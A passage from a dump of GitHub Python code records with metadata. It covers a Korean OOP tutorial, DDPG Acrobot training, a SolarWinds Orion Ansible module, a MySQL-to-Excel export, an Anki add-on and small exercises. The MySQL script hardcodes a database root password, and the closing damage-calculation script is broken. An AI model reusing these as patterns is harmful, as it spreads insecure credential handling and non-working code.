'__repr__',\n# '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__',\n# 'change_dept', 'dept', 'grade', 'name', 'num']\n# 특별하게 가지�� 있는 것은 magic function!!!!\n\n## python의 함수도 객체에요!!\n# def my_func(a,b):\n# return a+b\n#\n# print(dir(my_func))\n#\n# my_func.myName = \"홍길동\" #함수 조차 클래스의 범주안에 포함되어 정의되지않은 것도 추가가 가능\n# print(dir(my_func))\n\n\n# class Student(object):\n# scholarship_rate = 3.0 # class variable 모든 instance에서 공유함\n#\n# def __init__(self, name, dept, num, grade):\n# self.name = name\n# self.dept = dept\n# self.num = num\n# self.grade = grade\n#\n# def is_scholarship(self):\n# if self.grade > Student.scholarship_rate:\n# return True\n# else:\n# return False\n#\n# student = Student(\"홍길동\", \"심리학과\", \"20201133\", 4.5)\n# print(student.is_scholarship()) #True\n\n\n#################################\n# 절차적 프로그래밍 vs 객체지향 프로그래밍\n# 절차적 프로그래밍 (구조적 프로그래밍)\n# 구현하고자 하는 문제를 \"기능\"단위로 세분화해요!\n#\"기능\"으로 세분화 시켜서 더 이상 세부기능으로 분할할 수 없는\n#단위기능을 코드로 구형(함수)\n# > divide and conquer\n# 장점 : 프로그램을 쉽고 빠르게 구현할 수 있어요 > 비용절감효과\n# 단점 : 프로그램을 재사용하거나 유지보수하기가 힘들어요!\n\n# - 객체지향 프로그래밍\n# 장점 : 프로그램의 유지보수성과 재사용성이 높아져요!\n# 단점 : 프로그램을 설계, 구현하기가 힘들어요!\n# 내가 해결해야 하는 문제 (구현해야 하는 시스템)을 그대로 프로그램을\n# 모델링하는 방식, 그렇기 때문에 기능으로 세분화 하지않고 구성요소를\n# 파악한 후 구성요소간의 데이터 흐름에 집중해서 구현하게 되요!\n# > 객체 모델링\n# 객제 모델링을 하기 위해서 현실 세계의 객체를 단순화(abstraction- 추상화)\n# 필요있는 것만 두고 필요없는 것은 날림\n# class를 이용해서 객체 모델링을 수행!\n# class ??? > 1. 객체 모델링의 수단\n# class는 기존 데이터타입을 이용해서 새로운 데이터 타입을 만드는 도구\n# 1. 객체모델링의 수단\n# 2. ADT (abstraction data type !! 강조)\n# class와 instance 를 생성해야 해요!\n# instance는 객체(object) > 메모리 공간\n\n\n#class 와 instance 기본적인 코드작성\n# class Student(object): # object 향후 설명\n# scholarship_rate = 3.0 # class variable\n#\n# def __init__(self, name, dept, num, grade): # contructor(생성자), initializer\n# self.name = name # instance variable을 선언하고 초기화\n# self.dept = dept\n# self.num = num\n# self.grade = grade\n#\n# def __repr__(self): # magic function 이미 하는일이 정해져있음\n# return self.name # def 와 return !! 기본적으로 생각할 것\n#\n# def is_scholarship(self): #instance method (instance variable를 handling 하는 method)\n# if self.grade > Student.scholarship_rate:\n# return True\n# else:\n# return False\n#\n# students = Student(\"아무개\", \"경영학과\", \"213123\", 3.1)\n# print (students.is_scholarship())\n\n\n#####################################################\n\n# namespace(네임스페이스)\n# 객체가 가지는 데이터를 나누어서 관리하는 공간\n# instance namespace\n# class namespace\n# superclass namespace // 상속이후 생각할 것 !\n\n# instance namespace < class namespace < superclass namespace ( < 포함 )\n# ㅁ<ㅁ<ㅁ N.S\n\n\n# class Student(object):\n# scholarship_rate = 3.0 # class namespace\n#\n# def __init__(self, name, dept, num, grade):\n# self.name = name # istance namespace\n# self.dept = dept\n# self.num = num\n# self.grade = grade\n#\n# def __repr__(self):\n# return self.name\n#\n# def is_scholarship(self):\n# if self.grade > self.scholarship_rate: # instance namespace 에는 없지만 상위\n# return True # namespace에서 존재하기 때문에 자동적으로 찾음\n# else: # 하지만 class variable을 사용하는 것을 권장\n# return False\n#\n# students = Student(\"아무개\", \"경영학과\", \"213123\", 4.0)\n# print (students.is_scholarship()) # True\n#\n# students.scholarship_rate = 4.5 # instance namespace에 생성\n# print (students.is_scholarship()) # False _self.scholarship_rate 로 코드를 변경했기 때문에\n#\n#\n#\n# # python은 동적으로 속성이나 method를 추가할 수 있어요!!\n#\n# print(students.dept)\n# students.depts = \"컴퓨터학과\" #depts 속성이 추가되요!!\n# print(students.depts)\n\n\n##############################################################\n'''\ninstance method(self 인자를 가지고 있는 method)는 하나의 \n���스턴스에 한정된 데에티럴 생서, 변경 참조하기 위해서 사용되요!\nclass method는 클래스를 인자로 받아서 class variable을\n생성, 변경, 참조하기 위해서 사용 @classmethod \n\nstatic method # class 안에서 정의된 일반 함수\n@staticmethod \n'''\n# class Student(object):\n# scholarship_rate = 3.0\n#\n# def __init__(self, name, dept, num, grade):\n# self.name = name\n# self.dept = dept\n# self.num = num\n# self.grade = grade\n#\n# @classmethod # class method decorator // 필수로 붙여야함\n# def change_sholarship(cls, rate): # class 자체를 인자로 받아서 처리\n# cls.scholarship_rate = rate\n# print(\"장학금 기준이 변경되었어요!\")\n#\n# @staticmethod #\n# def is_valid_schlarship(rate):\n# if rate < 0:\n# print(\"장합금 기준 학점은 음수가 될 수 없습니다.\")\n#\n#\n# def is_scholarship(self):\n# if self.grade > Student.scholarship_rate:\n# return True\n# else:\n# return False\n#\n# students = Student(\"아무개\", \"경영학과\", \"213123\", 4.0)\n# Student.change_sholarship(4.5) # class에서 method 바로 찾아야 함\n# # 장학금 기준이 변경되었어요!\n# change_rate = -3.0\n# Student.is_valid_schlarship(change_rate) # 장합금 기준 학점은 음수가 될 수 없습니다.\n# print (students.is_scholarship()) # False\n\n\n\n\n###############################################################\n'''\ninformation hiding (정보은닉)\ninstance가 가지는 속성은 매우 매우 중요한 데이터이기 때문에\n외부에서 직접적으로 access 하는 건 좋지 않아요!\n어떻게 외부에서 직접적으로 access 하는 것을 막을 수 있는가?\n프로그래밍 언어마다 달라요!!\nJava > access modifier(접근제어자)\n public vs private\n\nPython에서 속성에 직접적으로 접근하는 것을 막기위해서는 어떻게 해야하나요??\n\n'''\n\n# class Student(object):\n#\n# def __init__(self, name, dept, num, grade):\n# self.name = name\n# self.__dept = dept\n# self.num = num\n# self.grade = grade\n# # private으로 처리된 속성이 있으면 외부에서 직접적인\n# # access가 안되기 때문에 method를 이용해서 사용하도록 처리\n# # private으로 되어 있는 속성의 값을 알아오는 용도의 method가 필요하고\n# # 이런 method는 getter (getter의 이름을 짓는 방법이 정해져 있어요 !!)\n# def getDept(self): #첫문장을 대문자 권장사항이며 강제사항은 X\n# return self.__dept #class 내부에서는\n# # > setter는 값을 설정해주는 method\n# def set_dept(self, dept): # dept 를 변경\n# self.__dept = dept\n#\n# def __print_date(self): # 클래스 내부에서 method를 감출수 있어요!\n# return self.name\n#\n#\n# students = Student(\"아무개\", \"경영학과\", \"213123\", 4.0)\n# # print(students.__dept) # private 처리를 한거에요! 접근불가\n# print(students.getDept()) # 경영학과\n# students.set_dept(\"컴퓨터학과\")\n# print(students.getDept()) # 컴퓨터학과\n# print(Student.__name) #type object 'Student' has no attribute '__name'\n# 여기까지가 단일 class에 대한 이론적인 내용이에요!\n\n\n##########################################################\n# 상속 # 객체지향의 꽃!!\n# 객체지향을 하는 이유는 > 유지보수와 재사용성!\n# 재사용성을 위한 대표적인 객체지향 기법 > Inheritance(상속)\n# A의 클래스르 B의 클래스에서 사용할 경우\n# parent class, super class, upper class (부모 class) // A class\n# child class, sub class (자식 class) // B class\n\n# Is - A 관계 # 같다의 관계\n# sub clss is a superclass 역은 성립하지 않음!\n# 포유류 (super class) 사람(sub class)\n\n# 두 개의 class를 이용해서 우리 상속을 알아보아요!!\n# Unit class, Marine class\n# Unit class > 모든 unit이 공통으로 가지고 있는 속성과 method로 구성\n# super class로 사용, base class\n# Marine > sub class로 사용\n\n# class object():\n# ~\n# ~\n# python의 모든 class는 object class에요!!\n# python의 모든 class는 object class를 상속해야 해요 !! # IS-A 관계때문에\n\n# class Unit(object): #괄호는 상속의 의미 // object class에서 상속을 받을 거에요!!\n# def __init__(self, demage, life):\n# self.utype = self.__class__.__name__ #클래스의 이름을 호출\n# self.demage = demage\n# self.life = life\n#\n# def show_status(self):\n# print(\"직업 : {}\".format(self.utype))\n# print(\"공격력 : {}\".format(self.demage))\n# print(\"생명력 : {}\".format(self.life))\n#\n# class Marine(Unit):\n# pass\n#\n# marine_1 = Marine(\"100\", \"100\")\n# marine_1.show_status()\n# '''\n# 직업 : Marine\n# 공격력 : 100\n# 생명력 : 100\n# '''\n\n####################################################\n# 상속 추가 !!!!\n#\n# class Unit(object): #괄호는 상속의 의미 // object class에서 상속을 받을 거에요!!\n# def __init__(self, demage, life):\n# self.utype = self.__class__.__name__ #클래스의 이름을 호출\n# self.demage = demage\n# self.life = life\n#\n# def show_status(self):\n# print(\"직업 : {}\".format(self.utype))\n# print(\"공격력 : {}\".format(self.demage))\n# print(\"생명력 : {}\".format(self.life))\n#\n#\n# class Marine(Unit): #괄호는 상속의 의미 // object class에서 상속을 받을 거에요!!\n# def __init__(self, demage, life, range_upgrade): # 값을 반는것은 그대로 표시\n# super(Marine, self).__init__(demage, life) # self.utype = self.__class__.__name__ #클래스의 이름을 호출\n# # self.demage = demage\n# # self.life = life\n# self.range_upgrade = range_upgrade\n#\n# def show_status(self):\n# super(Marine, self).show_status() # print(\"직업 : {}\".format(self.utype))\n# # print(\"공격력 : {}\".format(self.demage))\n# # print(\"생명력 : {}\".format(self.life))\n# print(\"사거리 업그레이드 유무 : {}\".format(self.range_upgrade))\n#\n#\n# marine_1 = Marine(\"100\", \"100\", True)\n# marine_1.show_status()\n# '''\n# 직업 : Marine\n# 공격력 : 100\n# 생명력 : 100\n# 사거리 업그레이드 유무 : True\n# '''\n\n###############################################################\n\n#사용할 유닛들은 Marine, Medic, Vulture, Dropship 4종류의 unit\n\n# super class\n# class Unit(object):\n# def __init__(self, demage, life):\n# self.utype = self.__class__.__name__\n# self.demage = demage\n# self.life = life\n#\n# def show_status(self):\n# print(\"직업 : {}\".format(self.utype))\n# print(\"공격력 : {}\".format(self.demage))\n# print(\"생명력 : {}\".format(self.life))\n#\n# def attack(self):\n# pass\n#\n# class Marine(Unit):\n# def __init__(self, demage, life, range_upgrade):\n# super(Marine, self).__init__(demage,life)\n# self.range_upgrade = range_upgrade\n# # overriding\n# def show_status(self):\n# super(Marine, self).show_status()\n# print(\"사정거리 업그레이드 유무 : {}\".format(self.range_upgrade))\n# # overriding\n# def attack(self):\n# print(\"마린이 총으로 공격합니다.\")\n#\n# def stimpack(self):\n# if self.life < 20:\n# print(\"체력이 낮아서 스팀팩 수행이 불가능 합니다.\")\n# else:\n# self.life -= 10\n# self.demage *= 1.5\n# print(\"마린이 스팀팩을 사용했어요!!\")\n#\n# # marine_1 = Marine(5, 40, True)\n# # marine_1.show_status()\n# '''\n# 직업 : Marine\n# 공격력 : 5\n# 생명력 : 40\n# 사정거리 업그레이드 유무 : True\n# '''\n# # marine_1.stimpack() # 마린이 스팀팩을 사용했어요!!\n# # marine_1.stimpack() # 마린이 스팀팩을 사용했어요!!\n# # marine_1.stimpack() # 마린이 스팀팩을 사용했어요!!\n# # marine_1.stimpack() # 체력이 낮아서 스팀팩 수행이 불가능 합니다.\n# #\n# # marine_1.attack() # 마린이 총으로 공격합니다.\n#\n#\n# class Medic(Unit):\n# #overriding\n# def attack(self):\n# print(\"메딕이 치료합니다. 힐힐!!!\")\n# # medic_1 = Medic(0,50)\n# # medic_1.show_status()\n# '''\n# 직업 : Medic\n# 공격력 : 0\n# 생명력 : 50\n# '''\n# # medic_1.attack() #메딕이 치료합니다. 힐힐!!!\n#\n#\n# class Vulture(Unit):\n# def __init__(self, demage, life, amount_of_mine):\n# super(Vulture, self).__init__(demage, life)\n# self.amount_of_mine = amount_of_mine\n#\n# # overriding\n# def attack(self):\n# print(\"벌쳐가 공격합니다. ~~~\")\n#\n# class Dropship(Unit):\n# #overriding\n# def attack(self):\n# print(\"특정 목표지점을 이동합니다. 슝!!\")\n#\n# def board(self, unit_list):\n# self.unit_list = unit_list\n# print(\"유닛들을 드랍쉽에 태워요!!\")\n#\n# def drop(self):\n# print(\"모든 Unit이 드랍쉽에서 내립니다.\")\n# return self.unit_list\n#\n# # marine을 생성합니다. 3마리\n# marine_1 = Marine(100, 100, False)\n# marine_2 = Marine(100, 100, False)\n# marine_3 = Marine(100, 100, False)\n#\n# # medic을 생성합니다. 1마리\n# medic = Medic(\"0\", \"100\")\n#\n# # vulture를 생성합니다. 2마리\n# vilture_1 = Vulture(\"200\", \"100\", 3)\n# vilture_2 = Vulture(\"200\", \"100\", 3)\n#\n#\n# # list를 이용해서 여러개의 객체를 저장할꺼에요!\n# troop = list()\n# troop.append(marine_1)\n# troop.append(marine_2)\n# troop.append(marine_3)\n# troop.append(medic)\n# troop.append(vilture_1)\n# troop.append(vilture_2)\n#\n# # Dropship 생성\n# dropship = Dropship(\"0\", \"100\")\n#\n# # Dropship에 유닛들을 태워요!\n# dropship.board(troop)\n#\n# # 공격지점으로 이동\n# dropship.attack()\n#\n# # 공격지점에서 내리기\n# my_list = dropship.drop() # my_list 는 주소\n# my_list = dropship.drop() # my_list 는 주소\n#\n# #스팀팩을 쓰고 공격하기\n# for unit in my_list:\n# if isinstance(unit, Marine): #인스턴스인지 확인\n# unit.stimpack()\n# unit.attack()\n'''\n유닛들을 드랍쉽에 태워요!!\n특정 목표지점을 이동합니다. 슝!!\n모든 Unit이 드랍쉽에서 내립니다.\n마린이 스팀팩을 사용했어요!!\n마린이 총으로 공격합니다.\n마린이 스팀팩을 사용했어요!!\n마린이 총으로 공격합니다.\n마린이 스팀팩을 사용했어요!!\n마린이 총으로 공격합니다.\n메딕이 치료합니다. 힐힐!!!\n벌쳐가 공격합니다. ~~~\n벌쳐가 공격합니다. ~~~\n'''\n\n# 공유폴더에 들어가시면 student_score.txt라는 파일이 있어요!\n# 각사람에 대한 데이터를 읽어서\n#성적순으로 출력하시면 되요! 출력양식은 다음과 같습니다.\n# 1등 아이유 95.6\n# 2등 홍길동 89.3\n# 3등 최길동 88.2\n\n\n\nclass Student(object):\n def __init__(self, name, kor, eng, math):\n self.__name = name\n self.__kor = kor\n self.__eng = eng\n self.__math = math\n self.avg = round((kor + eng + math) / 3)\n\n def __repr__(self):\n return \"{} {}\".format(self.__name, self.avg)\n\n\nfile1 = open(\"/Users/admin/PycharmProjects/Python_basic/student_score.txt\", \"r\", encoding='euc-kr') # 맥\nstudents = list()\nwhile True:\n line = file1.readline()\n if not line:\n break\n x = line[:-1]\n stu_data = x.split(',')\n students.append(Student(stu_data[0], int(stu_data[1]), int(stu_data[2]), int(stu_data[3]))) # \\n이 처리가됨\nfile1.close()\nresult = reversed(sorted(students, key=lambda students: students.avg)) #객체가 아닌 평균값을 가지고 정렬하세요\n\nidx = 1\nfor tmp in result:\n print(\"{}등 {}\".format(idx, tmp))\n idx += 1\n'''\n1등 아이유 95\n2등 강감찬 60\n3등 최길동 48\n4등 이선희 38\n5등 신사임당 23\n6등 김연아 20\n7등 홍길동 15\n'''\n\n\n","repo_name":"Souuul/python","sub_path":"Python_basic/04_python_OOP.py","file_name":"04_python_OOP.py","file_ext":"py","file_size_in_byte":26076,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"40680129321","text":"file_in = open('english.50MB','r', encoding='windows-1252')\nfile_out = open('english_clean.50MB','a+')\n\nfor line in file_in.readlines():\n\ttxt = ''.join(e for e in line if (e.isalnum() or e == \" \"))\n\tfinal_txt = txt.lower()\n\tfile_out.write(final_txt)\n\nfile = open('english_clean.50MB','r')\nfile2 = open('english_words','w')\na = file.readline()\nb = a.split()\nc = []\nfor e in b:\n\tif len(e)!=0:\n\t\tc.append(e)\n\nfor e in c:\n\tfile2.write(e +\"\\n\")","repo_name":"Rodrigofz/Tarea2Logs","sub_path":"datasets/generate_english_words.py","file_name":"generate_english_words.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10721591186","text":"import filter_env\nimport time\nfrom numpy import pi\n# gc is memory manage modle\nimport gc\nimport matplotlib.pyplot as plt\nplt.rcParams['font.sans-serif']=['SimHei']#增加中文功能\nplt.rcParams['axes.unicode_minus']=False\nimport numpy as np\nimport gym\nfrom ddpg import *\nimport scipy.io as sio\n\ngc.enable()\n\ndataFile = u'F:/matlab_files/多目标实验2.mat'\nENV_NAME = 'Acrobot-v1'\n# ENV_NAME = 'Pendulum-v0'\ntest_name='多目标实验'\nEPISODES = 4000\nTEST = 1\n#单目标\nplot_reward=[]\nplot_step=[]\n\ndef main():\n env = filter_env.makeFilteredEnv(gym.make(ENV_NAME))\n agent = DDPG(env)\n for episode in range(EPISODES):\n # Train\n state = env.reset()\n for step in range(env.spec.timestep_limit):\n action = agent.noise_action(state)\n next_state,reward,done,_ = env.step(action)\n agent.perceive(state,action,reward,next_state,done)\n state = next_state\n\n if done:\n break\n\n # Testing:\n if (episode+1) % 50 == 0 or episode==0:\n total_reward=0\n testing_step = 0\n theta1=[]\n theta2=[]\n theta1d=[]\n theta2d=[]\n Action=[]\n dtheta1=[]\n dtheta2=[]\n step=[]\n distance=[]\n for i in range(TEST):\n state = env.reset()\n test_action_smoothing=0\n for j in range(env.spec.timestep_limit):\n env.render()\n action = agent.action(state)\n # critic_value=agent.critic(state,action)[0]\n # test_action_smoothing=np.clip(0.5*action+0.5*test_action_smoothing,env.action_space.low,env.action_space.high)\n # state,reward,done,inf = env.step(test_action_smoothing)\n state, reward, done, inf = env.step(action)\n step.append(0.01*j)\n theta1.append(inf[0][0])\n theta2.append(inf[0][1])\n dtheta1.append(inf[0][2])\n dtheta2.append(inf[0][3])\n theta1d.append(inf[1])\n theta2d.append(inf[2])\n distance.append(inf[5])\n Action.append(10*test_action_smoothing)\n\n total_reward += reward\n if done:\n break\n #能量\n sio.savemat(dataFile, {'Theta1': theta1, 'Theta2': theta2, 'Theta2d': theta2d, 'Theta1d': theta1d,'Distance':distance})\n plt.figure('响应')\n plt.plot(step, theta1,'r-', label=\"Theta1\")\n plt.plot(step, theta2,'b--', label=\"Theta2\")\n plt.plot(step, theta1d, 'g-.',label=\"Theta1d\")\n plt.plot(step, theta2d, 'c:',label=\"Theta2d\")\n plt.xlabel('time/s')\n plt.ylabel('角度响应(rad)')\n plt.grid()\n plt.legend()\n plt.figure('动作')\n plt.plot(step, Action, label=\"Action\")\n plt.grid()\n plt.legend()\n plt.figure('角速度')\n plt.plot(step, dtheta1, label='dtheta1')\n plt.plot(step, dtheta2, label='dtheta2')\n plt.grid()\n plt.legend()\n plt.figure('距离')\n plt.plot(step,distance,label=\"distance\")\n plt.legend()\n # plt.figure('能量')\n # plt.plot(step, Ed, label=\"Ed\")\n # plt.plot(step, E, label=\"E\")\n # plt.legend()\n # plt.grid()\n plt.show()\n\n #基于距离和力矩\n # plt.figure('响应')\n # plt.plot(step, theta1, label=\"Theta1\")\n # plt.plot(step, theta2, label=\"Theta2\")\n # plt.plot(step, theta1d, label=\"Theta1\")\n # plt.plot(step, theta2d, label=\"Theta2\")\n # plt.grid()\n # plt.legend()\n # plt.figure('动作')\n # plt.plot(step, Action, label=\"Action\")\n # plt.grid()\n # plt.legend()\n # plt.figure('角速度')\n # plt.plot(step, dtheta1, label='dtheta1')\n # plt.plot(step, dtheta2, label='dtheta2')\n # plt.grid()\n # plt.legend()\n # plt.show()\n\n ave_reward = total_reward/TEST\n print('episode: ', episode, 'Evaluation Average Reward:',\n ave_reward,time.strftime(' %Y-%m-%d %A %X',time.localtime()))\n\n plot_reward.append(ave_reward)\n\n np.save('data\\%s.npy'%test_name, np.array(plot_reward))\n plt.figure(1)\n plt.plot(plot_reward)\n plt.grid()\n plt.xlabel('step')\n plt.ylabel('average_reward')\n plt.savefig('figure\\%s'%test_name)\n plt.show()\n\nif __name__ == '__main__':\n main()","repo_name":"zhexiaozhe/Experiment","sub_path":"simulation-experiment/多目标/acrobot_ddpg.py","file_name":"acrobot_ddpg.py","file_ext":"py","file_size_in_byte":4971,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"26792560472","text":"from __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nDOCUMENTATION = r'''\n---\nmodule: orion_volume_info\nshort_description: Gets info about a Volume in Solarwinds Orion NPM\ndescription:\n - Get info about a Volume in Solarwinds Orion NPM.\nversion_added: \"1.0.0\"\nauthor: \"Josh M. Eisenbath (@jeisenbath)\"\noptions:\n volume:\n description:\n - Attributes of the volume being managed.\n required: True\n type: dict\n suboptions:\n name:\n description:\n - Name of the volume.\n aliases: [ 'caption' ]\n type: str\nextends_documentation_fragment:\n - solarwinds.orion.orion_auth_options\n - solarwinds.orion.orion_node_options\nrequirements:\n - orionsdk\n - requests\n'''\n\nEXAMPLES = r'''\n---\n\n- name: Get info about a volume\n solarwinds.orion.orion_volume_info:\n hostname: \"{{ solarwinds_server }}\"\n username: \"{{ solarwinds_user }}\"\n password: \"{{ solarwinds_pass }}\"\n name: \"{{ node_name }}\"\n volume:\n name: \"{{ volume_name }}\"\n delegate_to: localhost\n\n'''\n\nRETURN = r'''\norion_node:\n description: Info about an orion node.\n returned: always\n type: dict\n sample: {\n \"caption\": \"localhost\",\n \"ipaddress\": \"127.0.0.1\",\n \"netobjectid\": \"N:12345\",\n \"nodeid\": \"12345\",\n \"objectsubtype\": \"SNMP\",\n \"status\": 1,\n \"statusdescription\": \"Node status is Up.\",\n \"unmanaged\": false,\n \"unmanagefrom\": \"1899-12-30T00:00:00+00:00\",\n \"unmanageuntil\": \"1899-12-30T00:00:00+00:00\",\n \"uri\": \"swis://host.domain.com/Orion/Orion.Nodes/NodeID=12345\"\n }\norion_volume:\n description: Info about an orion volume.\n returned: always\n type: dict\n sample: {\n \"displayname\": \"/\",\n \"volumeindex\": 0,\n \"status\": \"0\",\n \"type\": \"Fixed Disk\",\n \"caption\": \"/\",\n \"pollinterval\": \"420\",\n \"statcollection\": \"15\",\n \"rediscoveryinterval\": \"60\",\n \"volumedescription\": \"/\",\n \"icon\": \"FixedDisk.gif\",\n \"uri\": \"swis://host.domain.com/Orion/Orion.Nodes/NodeID=12345/Volumes/VolumeID=67890\"\n }\n'''\n\nimport requests\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible_collections.solarwinds.orion.plugins.module_utils.orion import OrionModule, orion_argument_spec\ntry:\n from orionsdk import SwisClient\n HAS_ORION = True\nexcept ImportError:\n HAS_ORION = False\nexcept Exception:\n raise Exception\n\nrequests.packages.urllib3.disable_warnings()\n\n\ndef main():\n argument_spec = orion_argument_spec\n argument_spec.update(\n volume=dict(\n required=True, type='dict',\n options=dict(\n name=dict(type='str', aliases=['caption']), # TODO required by?\n )\n ),\n )\n module = AnsibleModule(\n argument_spec,\n supports_check_mode=True,\n required_one_of=[('name', 'node_id', 'ip_address')],\n )\n if not HAS_ORION:\n module.fail_json(msg='orionsdk required for this module')\n\n options = {\n 'hostname': module.params['hostname'],\n 'username': module.params['username'],\n 'password': module.params['password'],\n }\n\n __SWIS__ = SwisClient(**options)\n\n try:\n __SWIS__.query('SELECT uri FROM Orion.Environment')\n except Exception as AuthException:\n module.fail_json(\n msg='Failed to query Orion. '\n 'Check Hostname, Username, and/or Password: {0}'.format(str(AuthException))\n )\n\n orion = OrionModule(module, __SWIS__)\n\n node = orion.get_node()\n if not node:\n module.exit_json(skipped=True, msg='Node not found')\n\n volume = orion.get_volume(node, module.params['volume'])\n if not volume:\n module.exit_json(skipped=True, msg=\"Volume not found\")\n else:\n module.exit_json(changed=False, orion_node=node, orion_volume=volume)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jeisenbath/ansible-collection-solarwinds-orion","sub_path":"plugins/modules/orion_volume_info.py","file_name":"orion_volume_info.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"9303714","text":"# coding:utf8\nimport sys\nimport xlwt\n#import MySQLdb\nimport pymysql as MySQLdb\nimport datetime\n\nhost = '192.168.72.131'\nuser = 'root'\npwd = 'centos'\ndb = 'db_31project'\nsql = 'select * from Testvideo'\nsheet_name = 'building'\nout_path = 'F:\\one.xls'\n\n# 把数据库的数据导入到excel 中\nconn = MySQLdb.connect(host,user,pwd,db,charset='utf8')\ncursor = conn.cursor()\ncount = cursor.execute(sql)\nprint(count)\n\ncursor.scroll(0,mode='absolute')\nresults = cursor.fetchall()\nfields = cursor.description\nworkbook = xlwt.Workbook()\nsheet = workbook.add_sheet(sheet_name,cell_overwrite_ok=True)\n\nfor field in range(0,len(fields)):\n sheet.write(0,field,fields[field][0])\n\nrow = 1\ncol = 0\nfor row in range(1,len(results)+1):\n for col in range(0,len(fields)):\n sheet.write(row,col,u'%s'%results[row-1][col])\n\nworkbook.save(out_path)","repo_name":"waffcloud/python","sub_path":"python2excel/python2excel.py","file_name":"python2excel.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13221488882","text":"DEFAULT_STATE = True # default: True\n\n# Set a custom tag field background color\n# If this is set to an empty string no changes are applied\n# (e.g. \"#F5F6CE\" or \"\")\nTAGS_BACKGROUND = \"\" # default: \"\"\n\n# Disable custom CSS adjustments when Night Mode add-on active\nDISABLE_FOR_NIGHTMODE = True # default: True\n\n######### USER CONFIGURATION END ##########\n\nimport os\n\nfrom aqt.qt import *\nfrom aqt import mw\nfrom aqt import editor\n\nfrom anki.hooks import addHook, wrap\n\nold_html = editor._html\nnew_html = old_html\n\ndef updateTagsBackground(self):\n \"\"\"Modify tagEdit background color\"\"\"\n nm_state_on = False\n if DISABLE_FOR_NIGHTMODE:\n try:\n from Night_Mode import nm_state_on\n except ImportError:\n pass\n\n if not mw._styleEditor or nm_state_on:\n return\n\n if TAGS_BACKGROUND:\n self.tags.setStyleSheet(\n \"\"\"QLineEdit {{ background: {}; }}\"\"\".format(\n TAGS_BACKGROUND))\n\n\ndef profileLoaded():\n \"\"\"Import modified CSS code into editor\"\"\"\n global old_html\n global new_html\n media_dir = mw.col.media.dir()\n css_path = os.path.join(media_dir, \"_editor.css\")\n if not os.path.isfile(css_path):\n return False\n with open(css_path, \"r\") as css_file:\n css = css_file.read()\n if not css:\n return False\n editor_style = \"\".format(css.replace(\"%\",\"%%\"))\n old_html = editor._html\n editor._html = editor._html + editor_style\n new_html = editor._html\n\n\ndef onEditorInit(self, *args, **kwargs):\n \"\"\"Apply modified Editor HTML\"\"\"\n nm_state_on = False\n if DISABLE_FOR_NIGHTMODE:\n try:\n from Night_Mode import nm_state_on\n except ImportError:\n pass\n if not mw._styleEditor or nm_state_on:\n editor._html = old_html\n else:\n editor._html = new_html\n\n\ndef onStylingToggle(checked):\n \"\"\"Set mw variable that controls styling state\"\"\"\n mw._styleEditor = checked\n\n\n# Menu toggle:\n\nmw._styleEditor = DEFAULT_STATE\naction = QAction(mw)\naction.setText(\"Custom Editor Styling\")\naction.setCheckable(True)\naction.setChecked(DEFAULT_STATE)\naction.setShortcut(QKeySequence(\"Shift+E\"))\nmw.form.menuTools.addAction(action)\naction.toggled.connect(onStylingToggle)\n\n# Hooks:\n\naddHook(\"profileLoaded\", profileLoaded)\n\neditor.Editor.__init__ = wrap(editor.Editor.__init__, onEditorInit, \"after\")\neditor.Editor.setupTags = wrap(editor.Editor.setupTags, \n updateTagsBackground, \"after\")\n","repo_name":"glutanimate/anki-addons-misc","sub_path":"src/editor_custom_stylesheet/editor_custom_stylesheet.py","file_name":"editor_custom_stylesheet.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"67"} +{"seq_id":"15062191321","text":"from sys import stdin\ninput = stdin.readline\n\nn, k = map(int, input().split())\ncoin_type = [int(input().rstrip())for _ in range(n)]\n\ndef func(money):\n ans = 0\n for coin in coin_type[::-1]:\n if (money == 0):\n break\n ans += money // coin\n money %= coin\n\n return ans\n\nprint(func(k))","repo_name":"chldppwls12/StudyTocoteAllsolve","sub_path":"BOJ/11047_동전/chldppwls12.py","file_name":"chldppwls12.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42083558742","text":"class Solution:\n def findErrorNums(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n temp = set()\n duplicate = 0\n length = len(nums)\n ordinary = (1+length)*length//2\n now = sum(nums)\n for i in nums:\n if i not in temp:\n temp.add(i)\n else:\n duplicate = i\n break\n return [duplicate, duplicate+(ordinary-now)]\n\nprint(Solution().findErrorNums([1,2,2,3]))","repo_name":"HNYuuu/Leetcode-","sub_path":"645.py","file_name":"645.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"28326815353","text":"def user_input():\n input(\n \"\"\"\n 1.input damage value\n 2.damage cannot be negative\n 3.damage must be a number\n \n \"\"\"\n \n \"Please input damage: \" \n \n )\n \n return \n \n\ndef user_inpt():\n input(\n \"\"\"\n 1.input speed value\n 2.speed cannot be negative\n 3.speed must be a number\n \n \"\"\"\n \n \"Please input speed: \" \n \n )\n \n return \n \ndef user_ipt():\n input(\n \"\"\"\n 1.input time value\n 2.time cannot be negative\n 3.time must be a number\n \n \"\"\"\n \n \"Please input time: \" \n \n )\n \n return \n \ndef damage_total():\n DPS = damage * speed * time\n for character in DPS:\n if DPS < 0:\n print(\"invalid\")\n break\n\n return\n print(str(DPS))\n \n \n \n \ndamage = user_input()\nspeed = user_inpt()\ntime = 